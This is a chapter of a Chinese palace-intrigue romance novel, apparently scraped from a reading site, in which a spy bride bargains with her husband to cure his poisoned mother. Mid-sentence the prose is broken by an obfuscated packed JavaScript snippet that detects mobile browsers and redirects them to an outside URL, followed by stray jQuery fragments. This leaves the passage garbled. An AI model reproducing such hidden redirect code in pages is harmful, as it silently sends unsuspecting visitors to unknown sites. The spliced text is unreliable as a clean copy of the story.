默认冷灰
24号文字
方正启体

12. 夫人

作者:圆舟本书字数:K更新时间:
    谢熙宁的身体在他掌下剧烈地一颤,像是被这突如其来的暴怒彻底吓懵了,长长的睫毛如同受惊的蝶翼疯狂颤抖,声音带着哭腔,“夫君...你...捏疼我了...”


    她假意试图挣扎却又被那铁钳般的手腕牢牢禁锢,徒劳无功,更显得楚楚可怜。


    然而——


    宋凛川指腹下,谢熙宁那本该因恐惧而紊乱急促的脉搏,此刻却平稳得如同古井深潭!


    这与他掌中这副泪眼婆娑、仿佛随时会碎裂的柔弱模样,形成了极其诡异的反差!


    这哪里是害怕?这女人分明是在他面前演戏!


    这精湛的演技,让他心头那股无名火越烧越旺,更夹杂了被愚弄的愠怒。


    宋凛川眸中寒光更盛,捏着她手腕的力道又加重一分,“你...为何不怕我?!”


    谢熙宁心中冷笑,唇角几不可察地弯起一个极小的弧度,眼波流转间潋滟生辉,带着三分娇怯七分撩拨。


    “你是我的夫君呀!我为何要怕?依我看——”她故意拖长了调子,目光意有所指地扫过两人此刻过于亲密的距离,“夫君能一改昨日那避我如蛇蝎的逃婚做派,竟愿与妾身在这新房里‘孤男寡女’共处一室,妾身便已觉得甚是欢喜了。”


    “夫君”二字,被她唤得千回百转,带着蜜糖般的黏腻,直往人耳朵里钻。


    宋凛川死拽着她脉搏的手指,竟鬼使神差地松了半分力道。


    但他语气依旧冷硬如铁:“少说这些没用的!老实回答我的问题!”


    谢熙宁心知眼前这男人是尸山血海里杀出来的枭雄,绝非三言两语能糊弄过去的蠢货。


    适度袒露部分事实,反而能更快取信于他,方便自己下一步行动。


    所谓美人计,也得建立在对方觉得你“有用”的基础上才行。


    她微微调整了呼吸,敛去眸中媚色,仿佛终于决定对他“掏心掏肺”,“既然夫君执意要问,妾身自当如实相告。”


    “其一,妾身方才,确实为婆母把了脉。


    其二,和亲之事,乃是沧国先提,还指名要锦国皇室血脉。昭阳公主乃我锦国瑰宝,岂能远嫁?妾身身为端王遗孤,年岁相合,替嫁而来,责无旁贷。此乃两国邦交,非锦国所愿,更非锦国派妾身前来图谋夫君什么。”


    “至于妾身从婆母的脉象里看出了什么...妾身想,那或许是夫君...有求于妾身之处?”


    她微微偏头,目光缓缓下落在自己依旧被他掌控的纤细手腕上,红痕刺目。


    “这便是夫君求人的态度么?”


    谢熙宁敢如此理直气壮,正是因为她笃定——宋凛川对他母亲的沉疴痼疾,早已束手无策!


    若非如此,凭他权势滔天、威名赫赫的镇国公身份,何至于让老夫人缠绵病榻多年?


    他方才那失态的暴怒与此刻强压的急切,恰恰证明他从母亲瞬间好转的奇迹中,看到了前所未有的希望!


    而这希望,目前——只有她能给!


    谢熙宁这番直指核心、毫不怯懦的回应,也让宋凛川彻底看清:眼前女子,绝非他先前以为的——只会撒娇卖痴的娇弱菟丝花!


    他眸色几度变幻,最终缓缓松开了钳制她手腕的力道,让谢熙宁得以将手垂落在锦被上。


    然而,他的指尖依旧若有似无地搭在她的脉搏处,不肯完全撤离——他需要这最诚实的“测谎仪”。


    谢熙宁手腕得到自由,剧痛稍缓,一边揉着被捏出红痕的手腕,一边却将目光大胆落在宋凛川近在咫尺的俊颜上。


    尤其是那双深邃如寒潭的眼,专注地盯着她时,竟有种勾魂夺魄的魅力。


    她心中暗赞一声“好皮相”,心底那点美人计的念头再次蠢蠢欲动。


    她微微倾身,故意用指尖轻轻拂过自己微红的手腕,带着一丝狡黠的调侃,“夫君现在...有没有一点点喜欢妾身了?妾身瞧着,夫君的手,似乎很是不舍离开呢!”


    宋凛川:“...”


    他被她这近乎“不知羞”的调戏噎得一口气堵在胸口,耳根处可疑的红晕迅速蔓延,却仍不忘狠狠瞪她一眼。


    “郡主请自重!”他试图用严厉掩盖那一瞬间的失态。


    “宋某已放低姿态,还望郡主如实相告!实不相瞒,为母亲之疾,宋某遍访名医,甚至求过宫中御医圣手,却无人能断明症结所在,所开药方亦如石沉大海,毫无效用。


    今日郡主妙手,竟能让家母立时下地行走,宋某心中激荡,却也疑虑难消。


    郡主年未双十,如何能有此通神手段?竟远超那些行医数十载、皓首穷经的杏林国手?”


    他顿了顿,抛出了极其诱人却也冰冷的筹码:“若郡主真能妙手回春,助母亲康健,宋某愿奉上和离书一份,许郡主自由之身。


    另赠北境富庶安稳的‘云州城’一座,作为酬谢。


    至于金银珠宝,只要宋某力所能及,任郡主开口!!


    谢熙宁心中微震。


    她听到了什么?和离书!


    这男人竟如此迫不及待地想将她扫地出门?!


    开什么玩笑!她千里迢迢来沧国,可不仅仅是为了夺宋家军兵权!


    沧国朝堂若不乱,锦国如何趁势而起?昭阳公主如何一统山河?


    她绝不能就此离开!


    既然美人计不成,那就以“才”服人!


    谢熙宁深吸一口气,面上浮起带着点骄傲又有点委屈的笑意:“妾身所求,岂是这些身外之物?”


    她微微挺直脊背,目光清亮,带着一种不容置疑的自信:“至于夫君的疑虑——夫君可别忘了,妾身能以‘昭宁’为封号,与昭阳公主同享‘昭’字尊荣,这份殊荣,岂是寻常宗室女可得?


    辛夷皇后‘天下第一女医’的称号,天下又有谁人不知?


    妾身自幼便蒙辛夷皇后倾囊相授,这才年纪轻轻,便有此等医术。”


    辛夷皇后虽命谢熙宁藏锋,但将在外,君命有所不受。


    唯有手握他人求而不得的‘生’之权柄,才能撬动这沧国的权力铁板。


    谢熙宁忽然倾身向前,距离近得几乎能感受到彼此的呼吸。


    她抬起未被宋凛川握着的左手,轻轻覆在了宋凛川按着她脉搏的大手之上。


    “妾身所求很简单——只要夫君从今往后,无论人前人后,都唤我一声‘夫人’。”


    宋凛川下意识地感受着指尖下那依旧平稳得没有什么波澜的脉搏——她竟真的没撒谎?!


    一声“夫人”?如此简单?


    罢了!一声称呼而已,若真能换来母亲康健,又有何不可?权当


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379988|184110||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是暂时留个有用的“大夫”在府中!


    他喉结滚动了一下,声音少了几分冰冷,多了几分认命的生硬:“若郡主...呃..若夫人所求仅止于此,宋某定当配合。”


    “夫人”二字,从他冷硬的薄唇中吐出,带着一种奇异的别扭感。


    “现在,还请夫人告知宋某,家母究竟所患何疾?病入几分?可还有痊愈之望?”


    谢熙宁心中暗喜,成了!


    有了宋凛川亲口对外承认的镇国公夫人身份,才能让那些趋炎附势的权贵不敢轻视于她。


    搅乱沧国朝堂,窃取兵符的任务,才算真正有了切入的支点!


    “婆母的身子,根源并非寻常沉疴。而是中了一种产自锦国、极其隐秘阴毒的慢性奇毒——蚀骨绵!”


    宋凛川周身气息猛地一寒!搭在谢熙宁腕上的手指瞬间收拢,让她再次痛得闷哼一声。


    他眼中瞬间爆发出骇人的戾气,如同被触了逆鳞的凶兽:“毒?!还是...锦国的毒?!”


    谢熙宁强忍疼痛,语速加快,“正是!此毒初期症状与气血两亏、风寒体虚别无二致,极难察觉。


    寻常医者,只会按虚症调养,结果只会越补越滞!


    至于程度...若今日妾身未能及时发现,以婆母中毒之深,恐最多只余...三年寿命!


    若由寻常的解毒圣手出手,婆母痊愈之机,亦恐怕...不足三成。”


    看到宋凛川瞬间煞白的脸色和眼中那几乎要碎裂的痛楚,谢熙宁话锋一转,声音带上了一丝奇异的安抚力量。


    她微微抬起下颌,眼中闪烁着自信的光芒,“但若是好好地恳求你的‘夫人’...”


    她故意加重了那两个字,带着一丝俏皮的挑衅,“妾身倒是有八成把握!”


    “八成?!”宋凛川的声音带着难以置信的颤抖,仿佛溺水之人抓住了最后一根浮木。


    那紧握着她手腕的力道,也在不自觉中缓缓松开了。


    下一秒,宋凛川猛地从床沿起身,高大的身躯竟没有丝毫犹豫,单膝重重砸落在地,朝着坐在床上的谢熙宁跪了下去!


    他抬起头,一想到母亲只余三年的寿命...那双惯常冷冽的眼眸,此刻盈满了赤红的血丝和巨大痛楚。


    “宋凛川在此——恳求夫人救我母亲性命!只要母亲康健,无论夫人有何要求,宋某万死不辞!”


    谢熙宁被这突如其来的一跪震得心神俱颤,一时竟失了言语。


    她本是只想撩拨宋凛川两句,却不曾想能承他单膝下跪之礼。


    男儿膝下有黄金,更何况是他这样位极人臣、手握重兵、连沧帝都要忌惮三分的镇国公?!


    为何他对父亲那般狠绝,却对母亲...情深至此?!


    这巨大的反差,竟让她对宋凛川这个人——第一次产生了强烈到无法忽视的好奇。


    “夫君!快起来!”谢熙宁回过神,几乎是扑下床去,伸出那双纤白微凉的小手,紧紧抓住宋凛川结实的手臂,试图将他扶起。


    指尖触及他紧绷的肌肉时,一种奇异的触感让她心头微悸。


    “夫君不必如此!婆母是这府中唯一真心待我之人,我岂能坐视不理?妾身自当竭尽全力!只是...在着手解毒之前,妾身还有两件事,望夫君务必应允。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)